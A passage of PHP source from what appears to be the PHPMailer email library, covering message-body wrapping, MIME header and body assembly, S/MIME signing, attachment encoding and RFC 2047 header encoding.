                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
